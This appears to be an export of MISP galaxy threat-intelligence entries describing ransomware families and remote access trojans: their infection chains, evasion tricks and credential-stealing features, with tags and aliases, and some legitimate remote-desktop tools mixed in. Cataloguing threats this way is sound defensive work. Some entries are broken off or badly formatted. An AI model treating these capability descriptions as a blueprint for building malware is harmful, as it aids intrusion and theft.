Nodera is a ransomware family that uses the Node.js framework and was discovered by Quick Heal researchers. The infection chain starts with a VBS script embedded with multiple JavaScript files. Upon execution, a directory is created and both the main node.exe program and several required NodeJS files are downloaded into the directory. Additionally, a malicious JavaScript payload that performs the encryption process is saved in this directory. After checking that it has admin privileges and setting applicable variables, the malicious JavaScript file enumerates the drives to create a list of targets. Processes associated with common user file types are stopped and volume shadow copies are deleted. Finally, all user-specific files on the C: drive and all files on other drives
are encrypted and are appended with a .encrypted extension. The ransom note containing instructions on paying the Bitcoin ransom are provided along with a batch script to be used for decryption after obtaining the private key. Some mistakes in the ransom note identified by the researchers include the fact that it mentions a 2048-bit RSA public key instead of 4096-bit (the size that was actually used), a hard-coded private key destruction time dating back almost 2 years ago, and a lack of instructions for how the private key will be obtained after the ransom is paid. These are signs that the ransomware may be in the development phase and was likely written by an amateur. For more information, see the QuickHeal blog post in the Reference section below.

The tag is: misp-galaxy:ransomware="Nodera Ransomware"

Nodera Ransomware is also known as:

- Nodera

Bart ransomware

Bart ransomware is distributed by the same Russian Cyber Mafia behind Dridex 220 and Locky. Bart doesn’t communicate with a command and control (C&C) server, so it can encrypt files without being connected to a computer. Bart is spread to end users via phishing emails containing .zip attachments with JavaScript Code and use social engineering to trick users into opening the ‘photo’ attachments. The zipped files are obfuscated to make it more hard to tell what actions they are performing. See screenshot above for an example of what they look like. If opened, these attachments download and install the intermediary loader RockLoader which downloads Bart onto the machine over HTTPS. Once executed, it will first check the language on the infected computer. If the malware detects Russian, Belorussian, or Ukrainian, the ransomware will terminate and will not proceed with the infection. If it's any other language, it will start scanning the computer for certain file extensions to encrypt. Because Bart does not require communication with C&C infrastructure prior to encrypting files, Bart could possibly encrypt machines sitting behind corporate firewalls that would otherwise block such traffic. Thus, organizations need to ensure that Bart is blocked at the email gateway using rules that block zipped executables.

The tag is: misp-galaxy:ransomware="Bart ransomware"

Bart ransomware is also known as:

- Locky Bart

Razor

Razor was discovered by dnwls0719, it is a part of Garrantydecrypt ransomware family. Like many other programs of this type, Razor is designed to encrypt files (make them unusable/inaccessible), change their filenames, create a ransom note and change victim's desktop wallpaper. Razor renames files by appending the ".razor" extension to their filenames. For example, it renames "1.jpg" to "1.jpg.razor", and so on. It creates a ransom note which is a text file named "RECOVERY.txt", this file contains instructions on how to contact Razor's developers (cyber criminals) and other details. As stated in the "RECOVERY.txt" file, this ransomware encrypts all files and information about how to purchase a decryption tool can be received by contacting Razor's developers. Victims supposed to contact them via razor2020@protonmail.ch, Jabber client (razor2020@jxmpp.jp) or ICQ client (@razor2020) and wait for further instructions. It is very likely that they will name a price of a decryption tool and/or key and provide cryptocurrency wallet's address that should be used to make a transaction. However, it is never a good idea to trust (pay) any cyber criminals/ransomware developers. It is common that they do not provide decryption tools even after a payment. Another problem is that ransomware-type programs encrypt files with strong encryption algorithms and their developers are the only ones who have tools that can decrypt files encrypted by their ransomware. In most cases victims have the only free and safe option: to restore files from a backup. Also, it is worth mentioning that files remain encrypted even after uninstallation of ransomware, its removal only prevents it from causing further encryptions.
Wadhrama

The tag is: misp-galaxy:ransomware="Wadhrama"

Wadhrama has relationships with:

- used-by: misp-galaxy:microsoft-activity-group="PARINACOTA" with estimative-language:likelihood-probability="likely"

Mespinoza

Mespinoza ransomware is used at least since October 2018. First versions used the common extension ".locked". Since December 2019 a new version in open sourced and documented, this new version uses the ".pyza" extension.

The tag is: misp-galaxy:ransomware="Mespinoza"

Mespinoza is also known as:

- Pyza

CoronaVirus

A new ransomware called CoronaVirus has been distributed through a fake website pretending to promote the system optimization software and utilities from WiseCleaner. With the increasing fears and anxiety of the Coronavirus (COVID-19) outbreak, an attacker has started to build a campaign to distribute a malware cocktail consisting of the CoronaVirus Ransomware and the Kpot information-stealing Trojan. This new ransomware was discovered by MalwareHunterTeam and
after further digging into the source of the file, we have been able to determine how the threat actor plans on distributing the ransomware and possible clues suggesting that it may actually be a wiper.

The tag is: misp-galaxy:ransomware="CoronaVirus"

### Snake Ransomware

Snake ransomware first attracted the attention of malware analysts in January 2020 when they observed the crypto-malware family targeting entire corporate networks. Shortly after this discovery, the threat quieted down. It produced few new detected infections in the wild for the next few months. That was until May 4, when ID Ransomware registered a sudden spike in submissions for the ransomware.

The tag is: misp-galaxy:ransomware="Snake Ransomware"

### eCh0raix

Anomali researchers have observed a new ransomware family, dubbed eCh0raix, targeting QNAP Network Attached Storage (NAS) devices. QNAP devices are created by the Taiwanese company QNAP Systems, Inc., and contain device storage and media player functionality, amongst others. The devices appear to be compromised by brute forcing weak credentials and exploiting known vulnerabilities in targeted attacks. The malicious payload encrypts the targeted file extensions on the NAS using AES encryption and appends .encrypt extension to the encrypted files. The ransom note created by the ransomware has the form shown below. eCh0raix was first seen in June 2019, after victims began reporting ransomware attacks in a forum topic on BleepingComputer. On June 1st, 2020, there has been a sudden surge of eCh0raix victims seeking help in our forums and submissions to the ransomware identification site ID-Ransomware.

The tag is: misp-galaxy:ransomware="eCh0raix"
Egregor

The threat group behind this malware seems to operate by hacking into companies, stealing sensitive data, and then running Egregor to encrypt all the files. According to the ransom note, if the ransom is not paid by the company within 3 days, and aside from leaking part of the stolen data, they will distribute via mass media where the company’s partners and clients will know that the company was attacked.

The tag is: *misp-galaxy:ransomware*="Egregor"

SunCrypt

SunCrypt ransomware was discovered in October 2019 and in August 2020 it was added to Maze ransomware’s cartel. It also follows some of Maze’s tactics, techniques, and procedures. SunCrypt is launched and installed using an obfuscated PowerShell script. Infected email attachments (macros), torrent websites, malicious ads act as carriers for this ransomware.

The tag is: *misp-galaxy:ransomware*="SunCrypt"

LockBit

LockBit operators tend to be very indiscriminate and opportunistic in their targeting. Actors behind this attack will use a variety of methods to gain initial access, up to and including basic methods such as brute force. After gaining initial access the actor follows a fairly typical escalation, lateral
movement and ransomware execution playbook. LockBit operators tend to have a very brief dwell time, executing the final ransomware payload as quickly as they are able to. LockBit ransomware has the built-in lateral movement features; given adequate permissions throughout the targeted environment.

The tag is: `misp-galaxy:ransomware="LockBit"`

**WastedLocker**

WastedLocker primarily targets corporate networks. Upon initial compromise, often using a fake browser update containing SocGholish, the actor then takes advantage of dual-use and LoLBin tools in an attempt to evade detection. Key observations include lateral movement and privilege escalation. The WastedLocker ransomware has been tied back to EvilCorp.

The tag is: `misp-galaxy:ransomware="WastedLocker"`

Sub7

Sub7, or SubSeven or Sub7Server, is a Trojan horse program.[1] Its name was derived by spelling NetBus backwards ("suBteN") and swapping "ten" with "seven". Sub7 was created by Mobman. Mobman has not maintained or updated the software since 2004, however an author known as Read101 has carried on the Sub7 legacy.

The tag is: *misp-galaxy:rat="Sub7"*

Sub7 is also known as:

- SubSeven
- Sub7Server

Beast Trojan

Beast is a Windows-based backdoor trojan horse, more commonly known in the hacking community as a Remote Administration Tool or a "RAT". It is capable of infecting versions of Windows from 95 to 10.

The tag is: *misp-galaxy:rat="Beast Trojan"*

Bifrost

Bifrost is a discontinued backdoor trojan horse family of more than 10 variants which can infect Windows 95 through Windows 10 (although on modern Windows systems, after Windows XP, its functionality is limited). Bifrost uses the typical server, server builder, and client backdoor program configuration to allow a remote attacker, who uses the client, to execute arbitrary code on the
compromised machine (which runs the server whose behavior can be controlled by the server editor).

The tag is: `misp-galaxy:rat="Bifrost"`

---

### Blackshades

Blackshades is the name of a malicious trojan horse used by hackers to control computers remotely. The malware targets computers using Microsoft Windows-based operating systems.[2] According to US officials, over 500,000 computer systems have been infected worldwide with the software.

The tag is: `misp-galaxy:rat="Blackshades"`

Blackshades has relationships with:

- similar: `misp-galaxy:tool="Blackshades"` with `estimative-language:likelihood-probability="likely"`

---

### DarkComet

DarkComet is a Remote Administration Tool (RAT) which was developed by Jean-Pierre Lesueur (known as DarkCoderSc), an independent programmer and computer security coder from the United Kingdom. Although the RAT was developed back in 2008, it began to proliferate at the start of 2012.

The tag is: `misp-galaxy:rat="DarkComet"`

DarkComet is also known as:

- Dark Comet

DarkComet has relationships with:

- similar: `misp-galaxy:tool="Dark Comet"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="DarkComet"` with `estimative-language:likelihood-probability="likely"`
Lanfiltrator

Backdoor.Lanfiltrator is a backdoor Trojan that gives an attacker unauthorized access to a compromised computer. The detection is used for a family of Trojans that are produced by the Backdoor.Lanfiltrator generator.

The tag is: `misp-galaxy:rat="Lanfiltrator"

Win32.HsIdir

Win32.HsIdir is an advanced remote administrator tool systems was done by the original author HS32-Idir, it is the development of the release made since 2006 Copyright © 2006-2010 HS32-Idir.

The tag is: `misp-galaxy:rat="Win32.HsIdir"

Optix Pro

Optix Pro is a configurable remote access tool or Trojan, similar to SubSeven or BO2K

The tag is: `misp-galaxy:rat="Optix Pro"

Back Orifice 2000

Back Orifice 2000 (often shortened to BO2k) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system.
system from a remote location. The name is a pun on Microsoft BackOffice Server software. Back Orifice 2000 is a new version of the famous Back Orifice backdoor trojan (hacker’s remote access tool). It was created by the Cult of Dead Cow hackers group in July 1999. Originally the BO2K was released as a source code and utilities package on a CD-ROM. There are reports that some files on that CD-ROM were infected with CIH virus, so the people who got that CD might get infected and spread not only the compiled backdoor, but also the CIH virus.

The tag is: misp-galaxy:rat="Back Orifice 2000"

Back Orifice 2000 is also known as:

- BO2k

RealVNC

The software consists of a server and client application for the Virtual Network Computing (VNC) protocol to control another

The tag is: misp-galaxy:rat="RealVNC"

RealVNC is also known as:

- VNC Connect
- VNC Viewer

Adwind RAT

Backdoor:Java/Adwind is a Java archive (.JAR) file that drops a malicious component onto the machines and runs as a backdoor. When active, it is capable of stealing user information and may also be used to distribute other malware.

The tag is: misp-galaxy:rat="Adwind RAT"

Adwind RAT is also known as:

- UNRECOM
Adwind RAT has relationships with:

- similar: misp-galaxy:tool="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sockrat" with estimative-language:likelihood-probability="likely"

ClientMesh

ClientMesh is a Remote Administration Application which allows a user to control a number of client PCs from around the world.
CyberGate

CyberGate is a powerful, fully configurable and stable Remote Administration Tool coded in Delphi that is continuously getting developed. Using cybergate you can log the victim’s passwords and can also get the screen shots of his computer’s screen.

The tag is: `misp-galaxy:rat="CyberGate"`

CyberGate has relationships with:

- similar: `misp-galaxy:malpedia="CyberGate"` with `estimative-language:likelihood-probability="likely"

Dark DDoSeR

The tag is: `misp-galaxy:rat="Dark DDoSeR"`

DarkRat

In March 2017, Fujitsu Cyber Threat Intelligence uncovered a newly developed remote access tool referred to by its developer as ‘Dark RAT’ – a tool used to steal sensitive information from victims. Offered as a Fully Undetectable build (FUD) the RAT has a tiered price model including 24/7 support and an Android version. Android malware has seen a significant rise in interest and in 2015 this resulted in the arrests of a number of suspects involved in the infamous DroidJack malware.

The tag is: `misp-galaxy:rat="DarkRat"`

DarkRat is also known as:
- DarkRAT

**Greame**

The tag is: `misp-galaxy:rat="Greame"`

**HawkEye**

HawkEye is a popular RAT that can be used as a keylogger, it is also able to identify login events and record the destination, username, and password.

The tag is: `misp-galaxy:rat="HawkEye"`

**jRAT**

jRAT is the cross-platform remote administrator tool that is coded in Java, Because its coded in Java it gives jRAT possibilities to run on all operation systems, Which includes Windows, Mac OSX and Linux distributions.

The tag is: `misp-galaxy:rat="jRAT"

jRAT is also known as:

- JacksBot

jRAT has relationships with:

- similar: `misp-galaxy:malpedia="jRAT"` with `estimative-language:likelihood-probability="likely"`
jSpy

jSpy is a Java RAT.

The tag is: `misp-galaxy:rat="jSpy"

jSpy has relationships with:

• similar: `misp-galaxy:malpedia="jSpy` with `estimative-language:likelihood-probability="likely"

NJRat

NJRat is a remote access trojan (RAT), first spotted in June 2013 with samples dating back to November 2012. It was developed and is supported by Arabic speakers and mainly used by cybercrime groups against targets in the Middle East. In addition to targeting some governments in the region, the trojan is used to control botnets and conduct other typical cybercrime activity. It infects victims via phishing attacks and drive-by downloads and propagates through infected USB keys or networked drives. It can download and execute additional malware, execute shell commands, read and write registry keys, capture screenshots, log keystrokes, and spy on webcams.

The tag is: `misp-galaxy:rat="NJRat"

NJRat is also known as:

• Njw0rm

NJRat has relationships with:

• similar: `misp-galaxy:rat="Kiler RAT"` with `estimative-language:likelihood-probability="likely"`
**Pandora**

Remote administrator tool that has been developed for Windows operation system. With advanced features and stable structure, Pandora’s structure is based on advanced client / server architecture. was configured using modern technology.

The tag is: `misp-galaxy:rat="Pandora"`

**Predator Pain**

Unlike Zeus, Predator Pain and Limitless are relatively simple keyloggers. They indiscriminately steal web credentials and mail client credentials, as well as capturing keystrokes and screen captures. The output is human readable, which is good if you are managing a few infected machines only, but the design doesn't scale well when there are a lot of infected machines and logs involved.

The tag is: `misp-galaxy:rat="Predator Pain"`

Predator Pain is also known as:

- PredatorPain

Predator Pain has relationships with:

- similar: `misp-galaxy:malpedia="HawkEye Keylogger"` with `estimative-language:likelihood-probability="likely"`

**Gh0st RAT**

Gh0st RAT is a Trojan horse for the Windows platform that the operators of GhostNet used to hack into some of the most sensitive computer networks on Earth. It is a cyber spying computer program.

The tag is: `misp-galaxy:rat="Gh0st RAT"`

Gh0st RAT has relationships with:

- similar: `misp-galaxy:malpedia="Ghost RAT"` with `estimative-language:likelihood-probability="likely"`
Plasma RAT

Plasma RAT’s stub is fairly advanced, having many robust features. Some of the features include botkilling, Cryptocurrencies Mining (CPU and GPU), persistence, anti-analysis, torrent seeding, AV killer, 7 DDoS methods and a keylogger. The RAT is coded in VB.Net. There is also a Botnet version of it (Plasma HTTP), which is pretty similar to the RAT version.

The tag is: `misp-galaxy:rat="Plasma RAT"`

Babylon

Babylon is a highly advanced remote administration tool with no dependencies. The server is developed in C++ which is an ideal language for high performance and the client is developed in C#(.Net Framework 4.5)

The tag is: `misp-galaxy:rat="Babylon"

Imminent Monitor

RAT

The tag is: `misp-galaxy:rat="Imminent Monitor"

DroidJack

DroidJack is a RAT (Remote Access Trojan/Remote Administration Tool) nature of remote accessing.
monitoring and managing tool (Java based) for Android mobile OS. You can use it to perform a complete remote control to any Android devices infected with DroidJack through your PC. It comes with powerful function and user-friendly operation – even allows attackers to fully take over the mobile phone and steal, record the victim’s private data wilfully.

The tag is: *misp-galaxy:rat="DroidJack"

**Quasar RAT**

Quasar is a fast and light-weight remote administration tool coded in C#. Providing high stability and an easy-to-use user interface

The tag is: *misp-galaxy:rat="Quasar RAT"

Quasar RAT has relationships with:

- similar: misp-galaxy:malpedia="Quasar RAT" with estimative-language:likelihood-probability="likely"

**Dendroid**

Dendroid is malware that affects Android OS and targets the mobile platform. It was first discovered in early of 2014 by Symantec and appeared in the underground for sale for $300. Some things were noted in Dendroid, such as being able to hide from emulators at the time. When first discovered in 2014 it was one of the most sophisticated Android remote administration tools known at that time. It was one of the first Trojan applications to get past Google’s Bouncer and caused researchers to warn about it being easier to create Android malware due to it. It also seems to have follow in the footsteps of Zeus and SpyEye by having simple-to-use command and control panels. The code appeared to be leaked somewhere around 2014. It was noted that an apk binder was included in the leak, which provided a simple way to bind Dendroid to legitimate applications.

The tag is: *misp-galaxy:rat="Dendroid"

Dendroid has relationships with:

Kiler RAT

This remote access trojan (RAT) has capabilities ranging from manipulating the registry to opening a reverse shell. From stealing credentials stored in browsers to accessing the victims webcam. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread utilizing physic devices, such as USB drives, but also to use the victim as a pivot point to gain more access laterally throughout the network. This remote access trojan could be classified as a variant of the well known njrat, as they share many similar features such as their display style, several abilities and a general template for communication methods. However, where njrat left off KilerRat has taken over. KilerRat is a very feature rich RAT with an active development force that is rapidly gaining in popularity amongst the middle eastern community and the world.

The tag is: misp-galaxy:rat="Kiler RAT"

Kiler RAT is also known as:

- Njw0rm

Kiler RAT has relationships with:

- similar: misp-galaxy:rat="NJRat" with estimative-language:likelihood-probability="likely"

Ammyy Admin

Ammyy Admin is a completely portable remote access program that's extremely simple to setup. It works by connecting one computer to another via an ID supplied by the program.
Ammyy Admin is also known as:

- Ammyy

**Ultra VNC**

UltraVNC works a bit like Remote Utilities, where a server and viewer is installed on two PCs, and the viewer is used to control the server.

**AeroAdmin**

AeroAdmin is probably the easiest program to use for free remote access. There are hardly any settings, and everything is quick and to the point, which is perfect for spontaneous support.

**Windows Remote Desktop**

Windows Remote Desktop is the remote access software built into the Windows operating system. No additional download is necessary to use the program.

**RemotePC**

RemotePC, for good or bad, is a more simple free remote desktop program. You're only allowed one connection (unless you upgrade) but for many of you, that'll be just fine.
Seecreen

Seecreen (previously called Firnass) is an extremely tiny (500 KB), yet powerful free remote access program that's absolutely perfect for on-demand, instant support.

The tag is: `misp-galaxy:rat="Seecreen"`

Seecreen is also known as:

- Firnass

Chrome Remote Desktop

Chrome Remote Desktop is an extension for the Google Chrome web browser that lets you setup a computer for remote access from any other Chrome browser.

The tag is: `misp-galaxy:rat="Chrome Remote Desktop"`

AnyDesk

AnyDesk is a remote desktop program that you can run portably or install like a regular program.

The tag is: `misp-galaxy:rat="AnyDesk"`

LiteManager

LiteManager is another remote access program, and it's strikingly similar to Remote Utilities, which I explain on the first page of this list. However, unlike Remote Utilities, which can control a total of
only 10 PCs, LiteManager supports up to 30 slots for storing and connecting to remote computers, and also has lots of useful features.

The tag is: misp-galaxy:rat="LiteManager"

The tag is: misp-galaxy:rat="NetDevil"

NetDevil has relationships with:

• similar: misp-galaxy:rat="Net Devil" with estimative-language:likelihood-probability="likely"
NanoCore

In September of 2015, a DigiTrust client visited a web link that was providing an Adobe Flash Player update. The client, an international retail organization, attempted to download and run what appeared to be a regular update. The computer trying to download this update was a back office system that processed end of day credit card transactions. This system also had the capability of connecting to the corporate network which contained company sales reports. DigiTrust experts were alerted to something malicious and blocked the download. The investigation found that what appeared to be an Adobe Flash Player update, was a Remote Access Trojan called NanoCore. If installation had been successful, customer credit card data, personal information, and internal sales information could have been captured and monetized. During the analysis of NanoCore, our experts found that there was much more to this RAT than simply being another Remote Access Trojan.

The tag is: misp-galaxy:rat="NanoCore"

NanoCore has relationships with:

- similar: misp-galaxy:tool="NanoCoreRAT" with estimative-language:likelihood-probability="likely"

Xsser

Xsser mRAT is a piece of malware that targets iOS devices that have software limitations removed. The app is installed via a rogue repository on Cydia, the most popular third-party application store for jailbroken iPhones. Once the malicious bundle has been installed and executed, it gains persistence - preventing the user from deleting it. The mRAT then makes server-side checks and proceeds to steal data from the user's device and executes remote commands as directed by its command-and-control (C2) server.

The tag is: `misp-galaxy:rat="Xsser"`

Xsser is also known as:

- mRAT

### Quaverse

Quaverse RAT or QRAT is a fairly new Remote Access Tool (RAT) introduced in May 2015. This RAT is marketed as an undetectable Java RAT. As you might expect from a RAT, the tool is capable of grabbing passwords, key logging and browsing files on the victim’s computer. On a regular basis for the past several months, we have observed the inclusion of QRAT in a number of spam campaigns.

The tag is: misp-galaxy:rat="Quaverse"

Quaverse is also known as:
Heseber

The tag is: misp-galaxy:rat="Heseber"

Cardinal

Cardinal is a remote access trojan (RAT) discovered by Palo Alto Networks in 2017 and has been active for over two years. It is delivered via a downloader, known as Carp, and uses malicious macros in Microsoft Excel documents to compile embedded C# programming language source code into an executable that runs and deploys the Cardinal RAT. The malicious Excel files use different tactics to get the victims to execute it.

The tag is: misp-galaxy:rat="Cardinal"

Cardinal has relationships with:

- similar: misp-galaxy:tool="EVILNUM" with estimative-language:likelihood-probability="likely"

OmniRAT

Works on all Android, Windows, Linux and Mac devices!

- similar: misp-galaxy:malpedia="OmniRAT" with estimative-language:likelihood-probability="likely"
**Jfect**

The tag is: `misp-galaxy:rat="Jfect"`

---

**Trochilus**

Trochilus is a remote access trojan (RAT) first identified in October 2015 when attackers used it to infect visitors of a Myanmar website. It was then used in a 2016 cyber-espionage campaign, dubbed “the Seven Pointed Dagger,” managed by another group, “Group 27,” who also uses the PlugX trojan. Trochilus is primarily spread via emails with a malicious .RAR attachment containing the malware. The trojan’s functionality includes a shellcode extension, remote uninstall, a file manager, and the ability to download and execute, upload and execute, and access the system information. Once present on a system, Trochilus can move laterally in the network for better access. This trojan operates in memory only and does not write to the disk, helping it evade detection.

The tag is: `misp-galaxy:rat="Trochilus"`

Trochilus has relationships with:

- similar: misp-galaxy:tool="Trochilus" with estimative-language:likelihood-probability="likely"

---

**Matryoshka**

Their most commonly used initial attack vector is a simple, yet alarmingly effective, spearphishing attack, infecting unsuspecting victims via a malicious email attachment (usually an executable that has been disguised as something else). From there, Matryoshka runs second stage malware via a dropper and covertly installs a Remote Access Toolkit (RAT). This is done using a reflective loader technique that allows the malware to run in process memory, rather than being written to disk. This not only hides the install of the RAT but also ensures that the RAT will be ‘reinstalled’ after system restart.

The tag is: `misp-galaxy:rat="Matryoshka"`

Matryoshka has relationships with:
Mangit

First discovered by Trend Micro in June, Mangit is a new malware family being marketed on both the Dark web and open internet. Users have the option to rent the trojan’s infrastructure for about $600 per 10-day period or buy the source code for about $8,800. Mangit was allegedly developed by "Ric", a Brazilian hacker, who makes himself available via Skype to discuss rental agreements. Once the malware is rented or purchased, the user controls a portion of the Mangit botnet, the trojan, the dropper, an auto-update system, and the server infrastructure to run their attacks. Mangit contains support for nine Brazilian banks including Citibank, HSBC, and Santander. The malware can also be used to steal user PayPal credentials. Mangit has the capability to collect banking credentials, receive SMS texts when a victim is accessing their bank account, and take over victim’s browsers. To circumvent two-factor authentication, attackers can use Mangit to lock victim’s browsers and push pop-ups to the victim asking for the verification code they just received.

The tag is: misp-galaxy:rat="Mangit"

LeGeNd

The tag is: misp-galaxy:rat="LeGeNd"

Revenge-RAT

Revenge v0.1 was a simple tool, according to a researcher known as Rui, who says the malware’s author didn’t bother obfuscating the RAT’s source code. This raised a question mark with the researchers, who couldn’t explain why VirusTotal scanners couldn’t pick it up as a threat right away. Revenge, which was written in Visual Basic, also didn’t feature too many working features,
compared to similar RATs. Even Napolean admitted that his tool was still in the early development stages, a reason why he provided the RAT for free.

**rokrat**

ROKRAT is a remote access trojan (RAT) that leverages a malicious Hangual Word Processor (HWP) document sent in spearphishing emails to infect hosts. The HWP document contains an embedded Encapsulated PostScript (EPS) object. The object exploits an EPS buffer overflow vulnerability and downloads a binary disguised as a .JPG file. The file is then decoded and the ROKRAT executable is initiated. The trojan uses legitimate Twitter, Yandex, and Mediafire websites for its command and control communications and exfiltration platforms, making them difficult to block globally. Additionally, the platforms use HTTPS connections, making it more difficult to gather additional data on its activities. Cisco's Talos Group identified two email campaigns. In one, attackers send potential victims emails from an email server of a private university in Seoul, South Korea with a sender email address of "kgf2016@yonsei.ac.kr," the contact email for the Korea Global Forum, adding a sense of legitimacy to the email. It is likely that the email address was compromised and used by the attackers in this campaign. The second is less sophisticated and sends emails claiming to be from a free Korean mail service with a the subject line, "Request Help" and attached malicious HWP filename, "I'm a munchon person in Gangwon-do, North Korea." The ROKRAT developer uses several techniques to hinder analysis, including identifying tools usually used by malware analysts or within sandbox environments. Once it has infected a device, this trojan can execute commands, move a file, remove a file, kill a process, download and execute a file, upload documents, capture screenshots, and log keystrokes. Researchers believe the developer is a native Korean speaker and the campaign is currently targeting Korean-speakers.

The tag is: `misp-galaxy:rat="rokrat"`

rokrat is also known as:

- ROKRAT

Table 4784. Table References
Qarallax

Travelers applying for a US Visa in Switzerland were recently targeted by cyber-criminals linked to a malware called QRAT. Twitter user @hkashfi posted a Tweet saying that one of his friends received a file (US Travel Docs Information.jar) from someone posing as USTRAVELDOCS.COM support personnel using the Skype account ustravelidocs-switzerland (notice the “i” between “travel” and “docs”).

Client Maximus

The purpose of the Client Maximus malware is financial fraud. As such, its code aspires to create the capabilities that most banking Trojans have, which allow attackers to monitor victims' web navigation and interrupt online banking session at will. After taking over a victim's banking session, an attacker operating this malware can initiate a fraudulent transaction from the account and use social engineering screens to manipulate the unwitting victim into authorizing it.

Rurktar

Dubbed Rurktar, the tool hasn’t had all of its functionality implemented yet, but G DATA says “it is relatively safe to say [it] is intended for use in targeted spying operations.” The malicious program could be used for reconnaissance operations, as well as to spy on infected computers users, and steal or upload files.

The tag is: misp-galaxy:rat="Rurktar"

Rurktar has relationships with:

- similar: misp-galaxy:malpedia="Rurktar" with estimative-language:likelihood-probability="likely"

RATAttack

RATAttack is a remote access trojan (RAT) that uses the Telegram protocol to support encrypted communication between the victim’s machine and the attacker. The Telegram protocol also
provides a simple method to communicate to the target, negating the need for port forwarding. Before using RATAttack, the attacker must create a Telegram bot and embed the bot’s Telegram token into the trojan’s configuration file. When a system is infected with RATAttack, it connects to the bot’s Telegram channel. The attacker can then connect to the same channel and manage the RATAttack clients on the infected host machines. The trojan's code was available on GitHub then was taken down by the author on April 19, 2017.

**DNSMessenger**

Talos recently analyzed an interesting malware sample that made use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker. This is an extremely uncommon and evasive way of administering a RAT. The use of multiple stages of Powershell with various stages being
completely fileless indicates an attacker who has taken significant measures to avoid detection.

htpRAT

On November 8, 2016 a non-disclosed entity in Laos was spear-phished by a group closely related to known Chinese adversaries and most likely affiliated with the Chinese government. The attackers utilized a new kind of Remote Access Trojan (RAT) that has not been previously observed or reported. The new RAT extends the capabilities of traditional RATs by providing complete remote execution of custom commands and programming. htpRAT, uncovered by RiskIQ cyber investigators, is the newest weapon in the Chinese adversary's arsenal in a campaign against Association of Southeast Asian Nations (ASEAN). Most RATs can log keystrokes, take screenshots, record audio and video from a webcam or microphone, install and uninstall programs and manage files. They support a fixed set of commands operators can execute using different command IDs —'file download' or 'file upload,' for example—and must be completely rebuilt to have different functionality. htpRAT, on the other hand, serves as a conduit for operators to do their job with greater precision and effect. On the Command and Control (C2) server side, threat actors can build new functionality in commands, which can be sent to the malware to execute. This capability makes htpRAT a small, agile, and incredibly dynamic piece of malware. Operators can change functionality, such as searching for a different file on the victim's network, simply by wrapping commands.

The tag is: misp-galaxy:rat="htpRAT"

htpRAT has relationships with:

- similar: misp-galaxy:malpedia="htpRAT" with estimative-language:likelihood-probability="likely"

FALLCHILL

According to trusted third-party reporting, HIDDEN COBRA actors have likely been using FALLCHILL malware since 2016 to target the aerospace, telecommunications, and finance industries. The malware is a fully functional RAT with multiple commands that the actors can issue from a command and control (C2) server to a victim’s system via dual proxies. FALLCHILL typically infects a system as a file dropped by other HIDDEN COBRA malware or as a file downloaded unknowingly by users when visiting sites compromised by HIDDEN COBRA actors. HIDDEN COBRA
actors use an external tool or dropper to install the FALLCHILL malware-as-a-service to establish persistence. Because of this, additional HIDDEN COBRA malware may be present on systems compromised with FALLCHILL.

The tag is: *misp-galaxy:rat="FALLCHILL"

**UBoatRAT**

Alto Networks Unit 42 has identified attacks with a new custom Remote Access Trojan (RAT) called UBoatRAT. The initial version of the RAT, found in May of 2017, was simple HTTP backdoor that uses a public blog service in Hong Kong and a compromised web server in Japan for command and control. The developer soon added various new features to the code and released an updated version in June. The attacks with the latest variants we found in September have following characteristics. Targets personnel or organizations related to South Korea or video games industry. Distributes malware through Google Drive Obtains C2 address from GitHub Uses Microsoft Windows Background Intelligent Transfer Service (BITS) to maintain persistence.

The tag is: *misp-galaxy:rat="UBoatRAT"

TSCookieRAT

TSCookie provides parameters such as C&C server information when loading TSCookieRAT. Upon the execution, information of the infected host is sent with HTTP POST request to an external server. (The HTTP header format is the same as TSCookie.) The data is RC4-encrypted from the beginning to 0x14 (the key is Date header value), which is followed by the information of the infected host (host name, user name, OS version, etc.). Please refer to Appendix C, Table C-1 for the data format.

RadRAT

RadRAT, its capabilities include: unfettered control of the compromised computer, lateral movement across the organization (Mimikatz-like credentials harvesting, NTLM hash harvesting from the Windows registry and implementation of the Pass-the-Hash attack on SMB connections) and rootkit-like detection-evasion mechanisms.

The tag is: `misp-galaxy:rat="RadRAT"`

RadRAT has relationships with:

- similar: misp-galaxy:malpedia="RadRAT" with estimative-language:likelihood-probability="likely"
FlawedAmmyy

FlawedAmmyy, has been used since the beginning of 2016 in both highly targeted email attacks as well as massive, multi-million message campaigns. The RAT is based on leaked source code for Version 3 of the Ammyy Admin remote desktop software. As such FlawedAmmyy contains the functionality of the leaked version, including: Remote Desktop control, File system manager, Proxy support, Audio Chat.

The tag is: `misp-galaxy:rat="FlawedAmmyy"`

FlawedAmmyy has relationships with:

- similar: `misp-galaxy:malpedia="FlawedAmmyy"` with `estimative-language:likelihood-probability="likely"

Spymaster Pro

Monitoring Software

The tag is: `misp-galaxy:rat="Spymaster Pro"

NavRAT

Classic RAT that can download, upload, execute commands on the victim host and perform keylogging. However, the command and control (C2) infrastructure is very specific. It uses the legitimate Naver email platform in order to communicate with the attackers via email.

The tag is: `misp-galaxy:rat="NavRAT"

NavRAT has relationships with:
Joanap

Joanap is a two-stage malware used to establish peer-to-peer communications and to manage botnets designed to enable other operations. Joanap malware provides HIDDEN COBRA actors with the ability to exfiltrate data, drop and run secondary payloads, and initialize proxy communications on a compromised Windows device.

The tag is: `misp-galaxy:rat="joanap"`

Sisfader

Sisfader maintains persistence installing itself as a system service, it is made up of multiple components ([1] Dropper - installing the malware, [2] Agent - main code of the RAT, [3] Config - written to the registry, [4] Auto Loader - responsible for extracting the Agent, the Config from the registry) and it has its own custom protocol for communication.

The tag is: `misp-galaxy:rat="Sisfader"`

Sisfader has relationships with:

- similar: `misp-galaxy:malpedia="Sisfader"` with `estimative-language:likelihood-probability="likely"`

SocketPlayer

The RAT is written in .NET, it uses socket.io for communication. Currently there are two variants of the malware, the 1st variant is a typical downloader whereas the 2nd one has download and C2 functionalities.

The tag is: `misp-galaxy:rat="SocketPlayer"`
**Hallaj PRO RAT**

RAT

The tag is: `misp-galaxy:rat="Hallaj PRO RAT"`

**NukeSped**

